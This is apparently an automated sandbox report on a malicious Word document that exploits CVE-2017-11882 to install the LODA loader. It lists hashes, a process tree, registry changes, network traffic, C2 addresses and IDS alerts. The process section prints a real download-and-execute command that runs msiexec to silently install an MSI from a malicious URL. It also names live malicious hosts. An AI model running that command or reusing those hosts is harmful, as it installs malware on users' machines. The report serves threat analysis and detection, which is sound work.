File name:

f243c45555ceff495a40976962bbd848.docx

Full analysis: https://app.any.run/tasks/f07dc946-6072-4326-83bc-148f1e9ec34d
Verdict: Malicious activity
Threats:

A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection.

Analysis date: February 19, 2019, 02:15:58
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
generated-doc
exploit
cve-2017-11882
exe-to-msi
loader
evasion
trojan
loda
Indicators:
MIME: application/vnd.openxmlformats-officedocument.wordprocessingml.document
File info: Microsoft Word 2007+
MD5:

F243C45555CEFF495A40976962BBD848

SHA1:

30319BA547CB2BB22B0DBC94C9E912C0881CEB21

SHA256:

306B633F3A80279283A63A723528E58CD5AE9FC4ECEBCE42C0F8BF5BF876AE6D

SSDEEP:

192:X6mmr3Wo4CummortbqD7l3D6n9mS0d2H3ywyuGBmfDZCRTdIQH5vWiF5MbfN:X6ma3WPTmmYbs7hD4mddM31TGyowE5c1

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Equation Editor starts application (CVE-2017-11882)

      • EQNEDT32.EXE (PID: 2872)
    • Uses Microsoft Installer as loader

      • cmd.exe (PID: 3572)
    • Downloads executable files from the Internet

      • msiexec.exe (PID: 3136)
    • Changes the autorun value in the registry

      • MSIC2D6.tmp (PID: 2868)
    • Connects to CnC server

      • MSIC2D6.tmp (PID: 2868)
    • LODA was detected

      • MSIC2D6.tmp (PID: 2868)
  • SUSPICIOUS

    • Unusual connect from Microsoft Office

      • WINWORD.EXE (PID: 2936)
    • Starts CMD.EXE for commands execution

      • EQNEDT32.EXE (PID: 2872)
    • Drop ExeToMSI Application

      • msiexec.exe (PID: 3136)
    • Executable content was dropped or overwritten

      • msiexec.exe (PID: 3136)
      • MSIC2D6.tmp (PID: 2868)
    • Creates files in the user directory

      • MSIC2D6.tmp (PID: 2868)
    • Uses RUNDLL32.EXE to load library

      • MSIC2D6.tmp (PID: 2868)
    • Reads Internet Cache Settings

      • rundll32.exe (PID: 3456)
    • Executes scripts

      • MSIC2D6.tmp (PID: 2868)
    • Connects to unusual port

      • MSIC2D6.tmp (PID: 2868)
  • INFO

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 2936)
    • Application was crashed

      • EQNEDT32.EXE (PID: 2872)
    • Creates files in the user directory

      • WINWORD.EXE (PID: 2936)
    • Writes to a desktop.ini file (may be used to cloak folders)

      • msiexec.exe (PID: 3136)
    • Application was dropped or rewritten from another process

      • MSIC2D6.tmp (PID: 2868)
    • Starts application with an unusual extension

      • msiexec.exe (PID: 3136)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.docx | Word Microsoft Office Open XML Format document (52.2)
.zip | Open Packaging Conventions container (38.8)
.zip | ZIP compressed archive (8.8)

EXIF

ZIP

ZipRequiredVersion: 20
ZipBitFlag: 0x0006
ZipCompression: Deflated
ZipModifyDate: 1980:01:01 00:00:00
ZipCRC: 0x2c2fab17
ZipCompressedSize: 350
ZipUncompressedSize: 1364
ZipFileName: [Content_Types].xml

XML

Template: template.dotx
TotalEditTime: 1 minute
Pages: 1
Words: -
Characters: 1
Application: Microsoft Office Word
DocSecurity: None
Lines: 1
Paragraphs: 1
ScaleCrop: No
HeadingPairs:
  • Title
  • 1
TitlesOfParts: -
Company: -
LinksUpToDate: No
CharactersWithSpaces: 1
SharedDoc: No
HyperlinksChanged: No
AppVersion: 15
Keywords: -
LastModifiedBy: Richard
RevisionNumber: 2
CreateDate: 2019:02:18 12:39:00Z
ModifyDate: 2019:02:18 12:39:00Z

XMP

Title: -
Subject: -
Creator: msword
Description: -
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
43
Monitored processes
9
Malicious processes
3
Suspicious processes
1

Behavior graph

Click at the process to see the details
start drop and start winword.exe eqnedt32.exe cmd.exe no specs msiexec.exe no specs msiexec.exe eqnedt32.exe no specs #LODA msic2d6.tmp rundll32.exe no specs wscript.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
2580"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -EmbeddingC:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEsvchost.exe
User:
admin
Company:
Design Science, Inc.
Integrity Level:
MEDIUM
Description:
Microsoft Equation Editor
Exit code:
0
Version:
00110900
Modules
Images
c:\program files\common files\microsoft shared\equation\eqnedt32.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
2868"C:\Windows\Installer\MSIC2D6.tmp"C:\Windows\Installer\MSIC2D6.tmp
msiexec.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
Version:
3, 3, 8, 1
Modules
Images
c:\windows\installer\msic2d6.tmp
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\comctl32.dll
c:\windows\system32\gdi32.dll
2872"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -EmbeddingC:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
svchost.exe
User:
admin
Company:
Design Science, Inc.
Integrity Level:
MEDIUM
Description:
Microsoft Equation Editor
Exit code:
0
Version:
00110900
Modules
Images
c:\program files\common files\microsoft shared\equation\eqnedt32.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
2936"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\f243c45555ceff495a40976962bbd848.docx"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Exit code:
0
Version:
14.0.6024.1000
Modules
Images
c:\program files\microsoft office\office14\winword.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\winsxs\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_50934f2ebcb7eb57\msvcr90.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\comctl32.dll
3136C:\Windows\system32\msiexec.exe /VC:\Windows\system32\msiexec.exe
services.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Windows® installer
Exit code:
0
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\msiexec.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
3220WSCript C:\Users\admin\AppData\Local\Temp\ZKKRUH.vbsC:\Windows\system32\WSCript.exeMSIC2D6.tmp
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Exit code:
0
Version:
5.8.7600.16385
Modules
Images
c:\windows\system32\wscript.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
3456"C:\Windows\system32\rundll32.exe" "C:\Windows\system32\WININET.dll",DispatchAPICall 1 C:\Windows\system32\rundll32.exeMSIC2D6.tmp
User:
admin
Company:
Microsoft Corporation
Integrity Level:
LOW
Description:
Windows host process (Rundll32)
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\rundll32.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\imagehlp.dll
3572cmd.exe & /C CD C: & msiexec.exe /i http://amazonvietnampharma.com.vn/l/css/baxcit.msi /quiet C:\Windows\system32\cmd.exeEQNEDT32.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
4036msiexec.exe /i http://amazonvietnampharma.com.vn/l/css/baxcit.msi /quiet C:\Windows\system32\msiexec.execmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows® installer
Exit code:
0
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\msiexec.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
Total events
1 966
Read events
1 184
Write events
766
Delete events
16

Modification events

(PID) Process:(2936) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:writeName:2i/
Value:
32692F00780B0000010000000000000000000000
(PID) Process:(2936) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
Off
(PID) Process:(2936) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
On
(PID) Process:(2936) WINWORD.EXEKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:writeName:WORDFiles
Value:
1314062357
(PID) Process:(2936) WINWORD.EXEKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:writeName:ProductFiles
Value:
1314062476
(PID) Process:(2936) WINWORD.EXEKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
Operation:writeName:ProductFiles
Value:
1314062477
(PID) Process:(2936) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word
Operation:writeName:MTTT
Value:
780B0000D85F8D16F9C7D40100000000
(PID) Process:(2936) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:writeName:kj/
Value:
6B6A2F00780B000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000
(PID) Process:(2936) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems
Operation:delete valueName:kj/
Value:
6B6A2F00780B000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000
(PID) Process:(2936) WINWORD.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
0
Executable files
3
Suspicious files
27
Text files
18
Unknown types
6

Dropped files

PID
Process
Filename
Type
2936WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR6D12.tmp.cvr
MD5:
SHA256:
2936WINWORD.EXEC:\Users\admin\AppData\Local\Temp\{CC0561E0-7164-44AE-9F13-772D979B6FA5}
MD5:
SHA256:
2936WINWORD.EXEC:\Users\admin\AppData\Local\Temp\{57306285-5227-40C7-B590-E49D55C4FCF2}
MD5:
SHA256:
2936WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~$43c45555ceff495a40976962bbd848.docxpgc
MD5:
SHA256:
2936WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:
SHA256:
2936WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\FSD-CNRY.FSDbinary
MD5:
SHA256:
2936WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\FSD-{192F4391-1CD7-4A2D-9606-7D57D831A0E6}.FSDbinary
MD5:
SHA256:
3136msiexec.exeC:\Users\admin\AppData\Local\Temp\~DF5A02F0AD5BCF9BEB.TMP
MD5:
SHA256:
2936WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\LocalCacheFileEditManager\FSD-{6C6B12BE-9DE7-4FEC-BD0D-ABA35C6F4645}.FSDbinary
MD5:
SHA256:
2936WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\F87512A9.doctext
MD5:
SHA256:
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
6
TCP/UDP connections
7
DNS requests
2
Threats
10

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2936
WINWORD.EXE
HEAD
200
115.146.122.229:80
http://amazonvietnampharma.com.vn/l/css/update.doc
VN
suspicious
2936
WINWORD.EXE
OPTIONS
405
115.146.122.229:80
http://amazonvietnampharma.com.vn/l/css/
VN
html
231 b
suspicious
3136
msiexec.exe
GET
200
115.146.122.229:80
http://amazonvietnampharma.com.vn/l/css/baxcit.msi
VN
executable
444 Kb
suspicious
980
svchost.exe
OPTIONS
405
115.146.122.229:80
http://amazonvietnampharma.com.vn/l/css
VN
html
230 b
suspicious
2936
WINWORD.EXE
GET
200
115.146.122.229:80
http://amazonvietnampharma.com.vn/l/css/update.doc
VN
text
56.5 Kb
suspicious
2936
WINWORD.EXE
HEAD
200
115.146.122.229:80
http://amazonvietnampharma.com.vn/l/css/update.doc
VN
compressed
56.5 Kb
suspicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
980
svchost.exe
115.146.122.229:80
amazonvietnampharma.com.vn
CMC Telecommunications Services Company
VN
suspicious
2868
MSIC2D6.tmp
91.231.84.41:15705
Ukrainian Internet Names Center LTD
UA
malicious
2936
WINWORD.EXE
115.146.122.229:80
amazonvietnampharma.com.vn
CMC Telecommunications Services Company
VN
suspicious
3136
msiexec.exe
115.146.122.229:80
amazonvietnampharma.com.vn
CMC Telecommunications Services Company
VN
suspicious
2868
MSIC2D6.tmp
104.25.209.99:443
ipapi.co
Cloudflare Inc
US
shared

DNS requests

Domain
IP
Reputation
amazonvietnampharma.com.vn
  • 115.146.122.229
suspicious
ipapi.co
  • 104.25.209.99
  • 104.25.210.99
shared

Threats

PID
Process
Class
Message
3136
msiexec.exe
Potential Corporate Privacy Violation
SUSPICIOUS [PTsecurity] Executable application_x-msi Download
3136
msiexec.exe
Potential Corporate Privacy Violation
POLICY [PTsecurity] Executable application_x-msi Download
3136
msiexec.exe
Misc activity
SUSPICIOUS [PTsecurity] Executable ExeToMSI Download
1060
svchost.exe
Potential Corporate Privacy Violation
ET POLICY External IP Lookup Domain (ipapi .co in DNS lookup)
2868
MSIC2D6.tmp
A Network Trojan was detected
MALWARE [PTsecurity] Loda Logger CnC Request
2868
MSIC2D6.tmp
A Network Trojan was detected
MALWARE [PTsecurity] Loda Logger CnC Beacon
4 ETPRO signatures available at the full report
No debug info